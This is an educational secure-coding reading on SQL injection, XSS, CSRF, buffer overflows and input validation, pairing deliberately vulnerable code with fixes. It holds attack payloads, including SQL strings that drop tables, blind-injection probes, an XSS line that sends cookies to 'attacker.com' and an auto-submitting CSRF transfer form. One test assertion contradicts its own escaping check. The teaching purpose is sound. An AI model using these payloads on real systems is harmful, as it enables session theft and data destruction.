Common Vulnerabilities
Introduction
Even with the best security principles, authentication, and cryptography in place, applications can still be compromised through common vulnerabilities. Many of these vulnerabilities stem from trusting user input, improper validation, or misunderstanding how data flows through systems.
This reading covers the most critical vulnerabilities every developer must understand: SQL injection, cross-site scripting (XSS), cross-site request forgery (CSRF), and buffer overflows. More importantly, you'll learn how to prevent these vulnerabilities through secure coding practices.
The OWASP Top 10 provides a regularly updated list of the most critical web application security risks. Understanding these vulnerabilities and their countermeasures is essential for building secure applications.
Learning Objectives
By the end of this reading, you will be able to:
- Understand how SQL injection works and prevent it using parameterized queries
- Identify and prevent XSS vulnerabilities through proper output encoding
- Recognize CSRF attacks and implement appropriate defenses
- Understand buffer overflow vulnerabilities and memory safety
- Apply input validation and output encoding correctly
- Implement secure coding practices throughout the development lifecycle
- Use security testing tools to find vulnerabilities
SQL Injection
SQL injection is one of the most dangerous and common web application vulnerabilities. It occurs when untrusted data is sent to an interpreter as part of a command or query.
How SQL Injection Works
# VULNERABLE CODE - NEVER DO THIS
def get_user(username):
query = f"SELECT * FROM users WHERE username = '{username}'"
result = db.execute(query)
return result
# Attack:
# username = "admin' OR '1'='1"
# Query becomes: SELECT * FROM users WHERE username = 'admin' OR '1'='1'
# This returns all users because '1'='1' is always true!
# Even worse:
# username = "admin'; DROP TABLE users; --"
# Query becomes: SELECT * FROM users WHERE username = 'admin'; DROP TABLE users; --'
# This deletes the entire users table!
Types of SQL Injection
1. Classic SQL Injection
# VULNERABLE: String concatenation
def login(username, password):
query = f"""
SELECT * FROM users
WHERE username = '{username}'
AND password = '{password}'
"""
user = db.execute(query).fetchone()
return user is not None
# Attack: username = "admin' --"
# Query becomes: SELECT * FROM users WHERE username = 'admin' --' AND password = '...'
# The -- comments out the password check!
2. Blind SQL Injection
# VULNERABLE: Boolean-based blind injection
def check_user_exists(username):
query = f"SELECT COUNT(*) FROM users WHERE username = '{username}'"
count = db.execute(query).fetchone()[0]
return count > 0
# Attack: username = "admin' AND SUBSTRING(password, 1, 1) = 'a"
# Attacker can extract password character by character based on true/false response
3. Time-Based Blind SQL Injection
# Attack: username = "admin' AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0) --"
# If password starts with 'a', query takes 5 seconds to respond
# Attacker can extract data based on response time
Prevention: Parameterized Queries
# SECURE: Use parameterized queries (prepared statements)
def get_user_secure(username):
# Use ? as placeholder (SQLite syntax)
query = "SELECT * FROM users WHERE username = ?"
# Database driver escapes the parameter properly
result = db.execute(query, (username,))
return result.fetchone()
# Works with any input, including:
# username = "admin' OR '1'='1"
# This is treated as literal string, not SQL code
# PostgreSQL syntax uses %s
def get_user_postgres(username):
query = "SELECT * FROM users WHERE username = %s"
result = cursor.execute(query, (username,))
return cursor.fetchone()
# MySQL/MySQL Connector syntax also uses %s
def get_user_mysql(username):
query = "SELECT * FROM users WHERE username = %s"
cursor.execute(query, (username,))
return cursor.fetchone()
Using ORMs for Safety
# Using SQLAlchemy ORM
from sqlalchemy import create_engine, Column, String, Integer
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy.orm import sessionmaker
Base = declarative_base()
class User(Base):
__tablename__ = 'users'
id = Column(Integer, primary_key=True)
username = Column(String)
email = Column(String)
# SECURE: ORM handles parameterization
def get_user_orm(username):
# This is automatically parameterized
user = session.query(User).filter(User.username == username).first()
return user
# Even complex queries are safe
def search_users_orm(search_term):
users = session.query(User).filter(
User.username.like(f'%{search_term}%')
).all()
return users
When You Must Build Dynamic Queries
# Sometimes you need dynamic queries (e.g., dynamic column selection)
# Use whitelisting, not blacklisting
ALLOWED_COLUMNS = {'id', 'username', 'email', 'created_at'}
ALLOWED_ORDERS = {'ASC', 'DESC'}
def get_users_sorted(sort_column, sort_order):
# VALIDATE inputs against whitelist
if sort_column not in ALLOWED_COLUMNS:
raise ValueError("Invalid sort column")
if sort_order.upper() not in ALLOWED_ORDERS:
raise ValueError("Invalid sort order")
# Safe to use in query because we validated against whitelist
query = f"SELECT * FROM users ORDER BY {sort_column} {sort_order}"
return db.execute(query).fetchall()
# NEVER use blacklisting
def unsafe_validation(sort_column):
# BAD: Trying to block dangerous characters
if "'" in sort_column or "--" in sort_column or ";" in sort_column:
raise ValueError("Invalid input")
# Attacker can still bypass this with creative payloads
Complete Example: Secure Database Access
import sqlite3
from contextlib import contextmanager
from typing import List, Dict, Any
class SecureDatabase:
"""Secure database access with parameterized queries"""
def __init__(self, db_path):
self.db_path = db_path
@contextmanager
def get_connection(self):
"""Context manager for database connections"""
conn = sqlite3.connect(self.db_path)
conn.row_factory = sqlite3.Row # Return dict-like rows
try:
yield conn
conn.commit()
except Exception:
conn.rollback()
raise
finally:
conn.close()
def get_user(self, username: str) -> Dict[str, Any]:
"""Get user by username - SECURE"""
with self.get_connection() as conn:
cursor = conn.execute(
"SELECT id, username, email FROM users WHERE username = ?",
(username,)
)
row = cursor.fetchone()
return dict(row) if row else None
def search_users(self, search_term: str) -> List[Dict[str, Any]]:
"""Search users - SECURE"""
with self.get_connection() as conn:
# Use wildcards in parameter, not in query string
cursor = conn.execute(
"SELECT id, username, email FROM users WHERE username LIKE ?",
(f'%{search_term}%',)
)
return [dict(row) for row in cursor.fetchall()]
def create_user(self, username: str, email: str, password_hash: str) -> int:
"""Create new user - SECURE"""
with self.get_connection() as conn:
cursor = conn.execute(
"INSERT INTO users (username, email, password_hash) VALUES (?, ?, ?)",
(username, email, password_hash)
)
return cursor.lastrowid
def update_user_email(self, user_id: int, new_email: str) -> bool:
"""Update user email - SECURE"""
with self.get_connection() as conn:
cursor = conn.execute(
"UPDATE users SET email = ? WHERE id = ?",
(new_email, user_id)
)
return cursor.rowcount > 0
def delete_user(self, user_id: int) -> bool:
"""Delete user - SECURE"""
with self.get_connection() as conn:
cursor = conn.execute(
"DELETE FROM users WHERE id = ?",
(user_id,)
)
return cursor.rowcount > 0
# Usage
db = SecureDatabase('app.db')
# All of these are safe from SQL injection
user = db.get_user("admin' OR '1'='1") # Treated as literal string
results = db.search_users("test'; DROP TABLE users; --") # Safe
db.create_user("new_user", "user@example.com", "hashed_password")
Cross-Site Scripting (XSS)
XSS occurs when an application includes untrusted data in web pages without proper validation or escaping. Attackers can inject malicious scripts that execute in victims' browsers.
Types of XSS
1. Reflected XSS
# VULNERABLE: Reflecting user input without escaping
from flask import Flask, request
app = Flask(__name__)
@app.route('/search')
def search():
query = request.args.get('q', '')
# BAD: Directly embedding user input in HTML
html = f"""
<html>
<body>
<h1>Search Results for: {query}</h1>
</body>
</html>
"""
return html
# Attack URL: /search?q=<script>alert('XSS')</script>
# Browser executes the script!
# More dangerous: /search?q=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
# This steals the user's session cookie
2. Stored XSS
# VULNERABLE: Storing and displaying unescaped user input
@app.route('/comment', methods=['POST'])
def add_comment():
comment = request.form.get('comment')
# BAD: Storing user input without sanitization
db.execute("INSERT INTO comments (text) VALUES (?)", (comment,))
return "Comment added"
@app.route('/comments')
def view_comments():
comments = db.execute("SELECT text FROM comments").fetchall()
# BAD: Displaying without escaping
html = "<html><body>"
for comment in comments:
html += f"<p>{comment['text']}</p>"
html += "</body></html>"
return html
# Attacker submits: <script>alert('XSS')</script>
# Script is stored in database and executes for every user who views comments
3. DOM-based XSS
// VULNERABLE: Client-side JavaScript modifying DOM with untrusted data
// page.html
<script>
// Get value from URL fragment
const name = window.location.hash.substring(1);
// BAD: Directly setting innerHTML with user input
document.getElementById('welcome').innerHTML = "Welcome " + name;
</script>
// Attack URL: page.html#<img src=x onerror=alert('XSS')>
Prevention: Output Encoding
from flask import Flask, render_template, request, escape
from markupsafe import Markup
import html
app = Flask(__name__)
# SECURE: Using template engine with auto-escaping
@app.route('/search')
def search_secure():
query = request.args.get('q', '')
# Jinja2 automatically escapes variables
return render_template('search.html', query=query)
# search.html:
# <h1>Search Results for: {{ query }}</h1>
# {{ query }} is automatically HTML-escaped
# SECURE: Manual escaping when needed
@app.route('/search_manual')
def search_manual():
query = request.args.get('q', '')
# Escape HTML entities
escaped_query = html.escape(query)
html_response = f"""
<html>
<body>
<h1>Search Results for: {escaped_query}</h1>
</body>
</html>
"""
return html_response
# Input: <script>alert('XSS')</script>
# Output: <script>alert('XSS')</script>
# Displayed as text, not executed as code
Context-Specific Encoding
import json
import html
from urllib.parse import quote
def encode_for_html(data):
"""Encode for HTML body context"""
return html.escape(str(data))
def encode_for_html_attribute(data):
"""Encode for HTML attribute context"""
# Use quotes and escape them
return html.escape(str(data), quote=True)
def encode_for_javascript(data):
"""Encode for JavaScript context"""
# Use JSON encoding
return json.dumps(data)
def encode_for_url(data):
"""Encode for URL context"""
return quote(str(data))
# Example usage
user_input = "<script>alert('XSS')</script>"
# In HTML body
html_body = f"<p>{encode_for_html(user_input)}</p>"
# In HTML attribute
html_attr = f'<div data-user="{encode_for_html_attribute(user_input)}">Content</div>'
# In JavaScript
js_code = f"<script>var userName = {encode_for_javascript(user_input)};</script>"
# In URL
url = f"<a href='/profile?name={encode_for_url(user_input)}'>Profile</a>"
Content Security Policy (CSP)
from flask import Flask, make_response
app = Flask(__name__)
@app.route('/page')
def secure_page():
response = make_response(render_template('page.html'))
# Set Content Security Policy header
csp = (
"default-src 'self'; " # Only load resources from same origin
"script-src 'self' https://trusted-cdn.com; " # Scripts from self and trusted CDN
"style-src 'self' 'unsafe-inline'; " # Styles from self, allow inline
"img-src 'self' data: https:; " # Images from self, data URIs, and HTTPS
"font-src 'self' https://fonts.googleapis.com; "
"connect-src 'self'; " # AJAX/WebSocket only to same origin
"frame-ancestors 'none'; " # Prevent clickjacking
"base-uri 'self'; " # Restrict <base> tag
"form-action 'self'; " # Forms can only submit to same origin
)
response.headers['Content-Security-Policy'] = csp
return response
Safe HTML with Sanitization
import bleach
# When you need to allow some HTML (e.g., blog posts with formatting)
# Use a whitelist-based sanitizer
def sanitize_html(html_input):
"""Allow only safe HTML tags and attributes"""
# Whitelist of allowed tags
allowed_tags = [
'p', 'br', 'strong', 'em', 'u',
'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
'ul', 'ol', 'li',
'a', 'img',
'blockquote', 'code', 'pre'
]
# Whitelist of allowed attributes
allowed_attributes = {
'a': ['href', 'title'],
'img': ['src', 'alt', 'title'],
}
# Whitelist of allowed protocols
allowed_protocols = ['http', 'https', 'mailto']
# Clean the HTML
clean_html = bleach.clean(
html_input,
tags=allowed_tags,
attributes=allowed_attributes,
protocols=allowed_protocols,
strip=True # Remove disallowed tags completely
)
return clean_html
# Example
user_html = """
<p>Hello <strong>world</strong>!</p>
<script>alert('XSS')</script>
<a href="javascript:alert('XSS')">Click me</a>
<a href="https://example.com">Safe link</a>
"""
safe_html = sanitize_html(user_html)
print(safe_html)
# Output:
# <p>Hello <strong>world</strong>!</p>
# <a href="https://example.com">Safe link</a>
Cross-Site Request Forgery (CSRF)
CSRF tricks a user's browser into making unwanted requests to a site where they're authenticated. The attacker exploits the browser's automatic inclusion of cookies.
How CSRF Works
<!-- Attacker's malicious site -->
<html>
<body>
<h1>You Won a Prize!</h1>
<!-- Hidden form that submits to victim site -->
<form action="https://bank.com/transfer" method="POST" id="csrf">
<input type="hidden" name="to_account" value="attacker_account">
<input type="hidden" name="amount" value="10000">
</form>
<script>
// Auto-submit form when page loads
document.getElementById('csrf').submit();
</script>
</body>
</html>
When a logged-in user visits the attacker's page:
- Browser automatically includes session cookie with the request
- Bank site thinks it's a legitimate request from the user
- Money is transferred to attacker
Prevention: CSRF Tokens
import secrets
from flask import Flask, session, request, render_template, abort
app = Flask(__name__)
app.secret_key = 'your-secret-key'
def generate_csrf_token():
"""Generate CSRF token for form"""
if 'csrf_token' not in session:
session['csrf_token'] = secrets.token_hex(32)
return session['csrf_token']
def validate_csrf_token(token):
"""Validate CSRF token"""
if not token or token != session.get('csrf_token'):
abort(403, 'Invalid CSRF token')
# Make token available to all templates
@app.context_processor
def inject_csrf_token():
return dict(csrf_token=generate_csrf_token)
@app.route('/transfer', methods=['GET', 'POST'])
def transfer_money():
if request.method == 'GET':
# Generate and display form with CSRF token
return render_template('transfer.html')
# Validate CSRF token on POST
token = request.form.get('csrf_token')
validate_csrf_token(token)
# Process transfer
to_account = request.form.get('to_account')
amount = request.form.get('amount')
# Transfer money...
return "Transfer successful"
<!-- transfer.html -->
<form method="POST" action="/transfer">
<!-- Include CSRF token in form -->
<input type="hidden" name="csrf_token" value="{{ csrf_token }}">
<label>To Account:</label>
<input type="text" name="to_account">
<label>Amount:</label>
<input type="number" name="amount">
<button type="submit">Transfer</button>
</form>
CSRF Protection for APIs
# For AJAX requests, use custom headers
from flask import Flask, request, jsonify
@app.route('/api/transfer', methods=['POST'])
def api_transfer():
# Verify custom header (CSRF tokens can't be set by forms)
csrf_token = request.headers.get('X-CSRF-Token')
if not csrf_token or csrf_token != session.get('csrf_token'):
return jsonify({'error': 'Invalid CSRF token'}), 403
# Process request
data = request.get_json()
# ...
return jsonify({'success': True})
// Client-side: Include CSRF token in AJAX requests
fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': document.querySelector('meta[name="csrf-token"]').content
},
body: JSON.stringify({
to_account: 'account123',
amount: 100
})
});
SameSite Cookies
from flask import Flask, make_response
@app.route('/login', methods=['POST'])
def login():
# Authenticate user...
response = make_response({'success': True})
# Set cookie with SameSite attribute
response.set_cookie(
'session_id',
session_id,
httponly=True, # Prevents JavaScript access
secure=True, # Only sent over HTTPS
samesite='Strict' # Not sent with cross-site requests
)
return response
# SameSite values:
# - Strict: Never sent with cross-site requests (best security, may break some UX)
# - Lax: Sent with top-level navigation (GET), not with POST/AJAX (good balance)
# - None: Sent with all requests (requires Secure flag)
Buffer Overflow
Buffer overflows occur when data written to a buffer exceeds its allocated size, potentially overwriting adjacent memory. While less common in modern high-level languages, they're critical to understand.
Buffer Overflow in C
// VULNERABLE C code
#include <string.h>
void vulnerable_function(char *user_input) {
char buffer[64];
// BAD: No bounds checking
strcpy(buffer, user_input); // If user_input > 64 chars, overflow!
// Process buffer...
}
// Attack: If user_input is 100 bytes, it overwrites:
// - The buffer (64 bytes)
// - Adjacent stack variables
// - Return address (attacker can redirect execution!)
Prevention in C/C++
// SECURE: Bounds checking
#include <string.h>
void secure_function(char *user_input) {
char buffer[64];
// Use strncpy with size limit
strncpy(buffer, user_input, sizeof(buffer) - 1);
buffer[sizeof(buffer) - 1] = '\0'; // Ensure null termination
// Process buffer...
}
// Even better: Use safe string functions
#include <stdio.h>
void even_safer_function(char *user_input) {
char buffer[64];
// snprintf limits output
snprintf(buffer, sizeof(buffer), "%s", user_input);
// Process buffer...
}
Memory Safety in Python
# Python is memory-safe by design
# Buffer overflows in the traditional sense don't occur
def process_input(user_input):
# No fixed buffer size - strings are dynamic
buffer = user_input # Safe, no overflow possible
# However, you can still have logic vulnerabilities
if len(user_input) > 1000:
raise ValueError("Input too large")
return buffer
# But be careful with native extensions and ctypes
import ctypes
# VULNERABLE: Using ctypes incorrectly
def unsafe_ctypes(user_input):
# Creating a fixed-size buffer
buffer = ctypes.create_string_buffer(64)
# BAD: No size checking
ctypes.memmove(buffer, user_input.encode(), len(user_input))
# SECURE: Check size first
def safe_ctypes(user_input):
max_size = 64
input_bytes = user_input.encode()
if len(input_bytes) >= max_size:
raise ValueError(f"Input too large (max {max_size-1} bytes)")
buffer = ctypes.create_string_buffer(max_size)
ctypes.memmove(buffer, input_bytes, len(input_bytes))
Input Validation
Proper input validation is critical for preventing many vulnerabilities.
Validation Strategy
from typing import Any
import re
class InputValidator:
"""Comprehensive input validation"""
@staticmethod
def validate_email(email: str) -> bool:
"""Validate email format"""
# Basic email regex (for production, use dedicated library)
pattern = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'
return bool(re.match(pattern, email))
@staticmethod
def validate_username(username: str) -> tuple[bool, str]:
"""Validate username with detailed error"""
if not username:
return False, "Username is required"
if len(username) < 3:
return False, "Username must be at least 3 characters"
if len(username) > 20:
return False, "Username must be at most 20 characters"
# Allow alphanumeric and underscore only
if not re.match(r'^[a-zA-Z0-9_]+$', username):
return False, "Username can only contain letters, numbers, and underscores"
return True, ""
@staticmethod
def validate_integer_range(value: Any, min_val: int, max_val: int) -> tuple[bool, str]:
"""Validate integer is within range"""
try:
int_value = int(value)
except (ValueError, TypeError):
return False, "Must be a valid integer"
if int_value < min_val or int_value > max_val:
return False, f"Must be between {min_val} and {max_val}"
return True, ""
@staticmethod
def sanitize_filename(filename: str) -> str:
"""Sanitize filename to prevent path traversal"""
# Remove path components
filename = filename.split('/')[-1].split('\\')[-1]
# Remove potentially dangerous characters
filename = re.sub(r'[^a-zA-Z0-9._-]', '', filename)
# Prevent hidden files
if filename.startswith('.'):
filename = filename[1:]
# Ensure filename is not empty
if not filename:
filename = 'unnamed'
return filename
# Usage
validator = InputValidator()
# Email validation
is_valid = validator.validate_email("user@example.com")
print(f"Valid email: {is_valid}")
# Username validation
is_valid, error = validator.validate_username("user_123")
if not is_valid:
print(f"Error: {error}")
# Integer range validation
is_valid, error = validator.validate_integer_range(50, 1, 100)
if not is_valid:
print(f"Error: {error}")
# Filename sanitization
safe_filename = validator.sanitize_filename("../../etc/passwd")
print(f"Sanitized: {safe_filename}") # etcpasswd
Whitelist vs Blacklist
# BAD: Blacklisting (trying to block bad characters)
def validate_input_blacklist(user_input):
# Trying to block dangerous characters
dangerous_chars = ['<', '>', '"', "'", ';', '--', '/*', '*/']
for char in dangerous_chars:
if char in user_input:
return False
return True
# Problem: Attackers can find characters/sequences you didn't think of
# GOOD: Whitelisting (only allowing known good characters)
def validate_input_whitelist(user_input):
# Only allow alphanumeric and specific characters
allowed_pattern = r'^[a-zA-Z0-9 \.,!?-]+$'
return bool(re.match(allowed_pattern, user_input))
# Much safer: Rejects anything not explicitly allowed
Secure Coding Practices
Principle of Least Privilege (Code Level)
import os
# BAD: Running with unnecessary privileges
def process_file(filepath):
# Running with root/admin privileges for no reason
with open(filepath, 'r') as f:
data = f.read()
return data
# GOOD: Drop privileges when not needed
def process_file_secure(filepath):
# If we started with elevated privileges, drop them
if os.geteuid() == 0: # Running as root
# Drop to normal user
os.setuid(1000) # Change to specific user ID
with open(filepath, 'r') as f:
data = f.read()
return data
# BETTER: Design so elevated privileges are never needed
# Use service accounts with minimal permissions
Error Handling
# BAD: Revealing sensitive information in errors
@app.route('/user/<user_id>')
def get_user(user_id):
try:
user = db.execute(
"SELECT * FROM users WHERE id = ?",
(user_id,)
).fetchone()
if not user:
# Reveals that user doesn't exist
return "User ID not found in database", 404
return jsonify(user)
except Exception as e:
# BAD: Revealing internal error details
return f"Database error: {str(e)}", 500
# GOOD: Generic error messages for users, detailed logs for developers
import logging
@app.route('/user/<user_id>')
def get_user_secure(user_id):
try:
user = db.execute(
"SELECT id, username, email FROM users WHERE id = ?",
(user_id,)
).fetchone()
if not user:
# Generic message, doesn't reveal information
return jsonify({'error': 'Not found'}), 404
return jsonify(user)
except Exception as e:
# Log detailed error securely
logging.error(f"Database error in get_user: {e}", exc_info=True)
# Return generic error to user
return jsonify({'error': 'Internal server error'}), 500
Secure Configuration
import os
from dotenv import load_dotenv
# BAD: Hardcoded secrets
DATABASE_URL = "postgresql://admin:password123@localhost/mydb"
API_KEY = "sk_live_abc123xyz789"
SECRET_KEY = "hardcoded-secret-key"
# GOOD: Environment variables
load_dotenv() # Load from .env file (not in version control!)
class Config:
# Load from environment
DATABASE_URL = os.environ.get('DATABASE_URL')
API_KEY = os.environ.get('API_KEY')
SECRET_KEY = os.environ.get('SECRET_KEY')
# Validate required settings
@classmethod
def validate(cls):
required = ['DATABASE_URL', 'API_KEY', 'SECRET_KEY']
missing = [key for key in required if not getattr(cls, key)]
if missing:
raise ValueError(f"Missing required config: {', '.join(missing)}")
# Before starting app
Config.validate()
Secure Defaults
# BAD: Insecure defaults
class UserSettings:
def __init__(self):
self.public_profile = True # BAD: Default to public
self.share_email = True # BAD: Default to sharing
self.enable_2fa = False # BAD: Default to less secure
# GOOD: Secure defaults
class UserSettings:
def __init__(self):
self.public_profile = False # GOOD: Default to private
self.share_email = False # GOOD: Default to not sharing
self.enable_2fa = True # GOOD: Default to more secure
self.session_timeout = 15 # GOOD: Short timeout
# User can opt-in to less secure settings if they choose
Security Testing
Static Analysis
# Use tools like:
# - Bandit (Python security linter)
# - Semgrep (multi-language static analysis)
# - SonarQube (comprehensive code quality)
# Example Bandit check:
# bandit -r ./src
# Will flag issues like:
import pickle # B301: Pickle is insecure
def load_data(filename):
with open(filename, 'rb') as f:
return pickle.load(f) # Flagged: arbitrary code execution risk
Dynamic Testing
# Automated security testing during development
import requests
def test_sql_injection():
"""Test for SQL injection vulnerability"""
payloads = [
"' OR '1'='1",
"admin' --",
"'; DROP TABLE users; --"
]
for payload in payloads:
response = requests.get(
'http://localhost:5000/user',
params={'username': payload}
)
# Should return 400/401, not 200 with data
assert response.status_code != 200, f"Possible SQL injection with payload: {payload}"
def test_xss():
"""Test for XSS vulnerability"""
payload = "<script>alert('XSS')</script>"
response = requests.get(
'http://localhost:5000/search',
params={'q': payload}
)
# Response should not contain unescaped script tag
assert payload not in response.text, "Possible XSS vulnerability"
assert '<script>' in response.text, "Script not properly escaped"
def test_csrf_protection():
"""Test CSRF protection"""
# Attempt POST without CSRF token
response = requests.post(
'http://localhost:5000/transfer',
data={'to_account': '123', 'amount': '1000'}
)
# Should be rejected
assert response.status_code == 403, "CSRF protection not working"
Exercises
Basic Exercises
- SQL Injection Fix: Fix this vulnerable code:
def search_products(category, min_price, max_price):
query = f"SELECT * FROM products WHERE category = '{category}' AND price BETWEEN {min_price} AND {max_price}"
return db.execute(query).fetchall()
- XSS Prevention: Fix this vulnerable template that displays user comments:
@app.route('/comments')
def show_comments():
comments = db.get_all_comments()
html = "<html><body>"
for comment in comments:
html += f"<p><b>{comment.username}</b>: {comment.text}</p>"
html += "</body></html>"
return html
- Input Validation: Write a validator for phone numbers that:
- Accepts formats: (123) 456-7890, 123-456-7890, 1234567890
- Rejects everything else
- Returns normalized format
Intermediate Exercises
Complete CSRF Protection: Implement CSRF protection for a Flask app with:
- Token generation and validation
- Template integration
- AJAX support
- Token refresh mechanism
Secure File Upload: Build a secure file upload system that:
- Validates file type (whitelist)
- Limits file size
- Sanitizes filenames
- Stores files securely
- Prevents path traversal
- Generates unique filenames
Security Headers: Create middleware that adds security headers:
- Content-Security-Policy
- X-Frame-Options
- X-Content-Type-Options
- Strict-Transport-Security
- X-XSS-Protection
Advanced Exercises
- Security Audit: Perform security audit on this code and fix all vulnerabilities:
import pickle
import sqlite3
from flask import Flask, request
app = Flask(__name__)
db = sqlite3.connect('app.db', check_same_thread=False)
@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']
query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
user = db.execute(query).fetchone()
if user:
session_data = pickle.dumps({'user_id': user[0]})
return f"<html><body>Welcome {username}! <a href='/logout'>Logout</a></body></html>"
return "Login failed"
@app.route('/profile')
def profile():
user_id = request.args.get('id')
query = f"SELECT * FROM users WHERE id={user_id}"
user = db.execute(query).fetchone()
return f"<h1>Profile: {user[1]}</h1><p>Email: {user[2]}</p>"
Rate Limiting: Implement rate limiting to prevent:
- Brute force login attempts
- API abuse
- DDoS attacks
- Include IP-based and user-based limits
Security Testing Suite: Create a security test suite:
- SQL injection tests (multiple types)
- XSS tests (reflected, stored, DOM-based)
- CSRF tests
- Authentication bypass attempts
- Authorization bypass attempts
- Generate security report
Summary
Common vulnerabilities can be prevented with proper coding practices:
SQL Injection: Always use parameterized queries. Never concatenate user input into SQL. Use ORMs when possible. Whitelist allowed values for dynamic queries.
XSS: Encode all output. Use context-appropriate encoding (HTML, JavaScript, URL). Implement Content Security Policy. Use templating engines with auto-escaping.
CSRF: Use CSRF tokens for state-changing requests. Implement SameSite cookies. Validate custom headers for AJAX requests.
Buffer Overflow: Use memory-safe languages when possible. If using C/C++, use bounds-checking functions. Validate all input sizes.
Input Validation: Validate all input. Use whitelisting over blacklisting. Validate on server-side, not just client-side. Sanitize filenames and paths.
Secure Coding: Apply principle of least privilege. Use secure defaults. Handle errors without leaking information. Never hardcode secrets. Implement security in depth.
Key Takeaways
- Never trust user input - validate and sanitize everything
- Use parameterized queries to prevent SQL injection
- Encode output to prevent XSS
- Use CSRF tokens for state-changing operations
- Security must be built in, not bolted on
- Regular security testing is essential
- Keep dependencies updated
- Follow secure coding guidelines from OWASP and others
Further Reading
- OWASP Top 10: https://owasp.org/www-project-top-ten/
- OWASP Cheat Sheet Series: https://cheatsheetseries.owasp.org/
- CWE Top 25: https://cwe.mitre.org/top25/
- SANS Top 25: https://www.sans.org/top25-software-errors/
- "The Web Application Hacker's Handbook" by Stuttard and Pinto
Course Completion
Congratulations on completing Module 11: Security Fundamentals! You now have a solid foundation in:
- Security principles (CIA triad, defense in depth, least privilege)
- Cryptography (hashing, symmetric/asymmetric encryption, digital signatures)
- Authentication and authorization (passwords, sessions, JWT, OAuth)
- Common vulnerabilities and how to prevent them
Security is a journey, not a destination. Continue learning, stay updated on new vulnerabilities, and always think with a security mindset. Every line of code you write is an opportunity to build something secure or introduce a vulnerability - choose wisely.
This concludes the computer science tutorial series. You've covered fundamental concepts from algorithms and data structures through networking, databases, and security. Apply these principles in your development work, continue learning, and build amazing, secure software!
Next Steps
To continue your security education:
- Practice with CTF (Capture The Flag) challenges
- Contribute to security tools and libraries
- Follow security researchers and advisories
- Perform security reviews of your own code
- Consider security certifications (CEH, OSCP, CISSP)
- Stay current with OWASP and security communities
Thank you for your dedication to learning computer science fundamentals!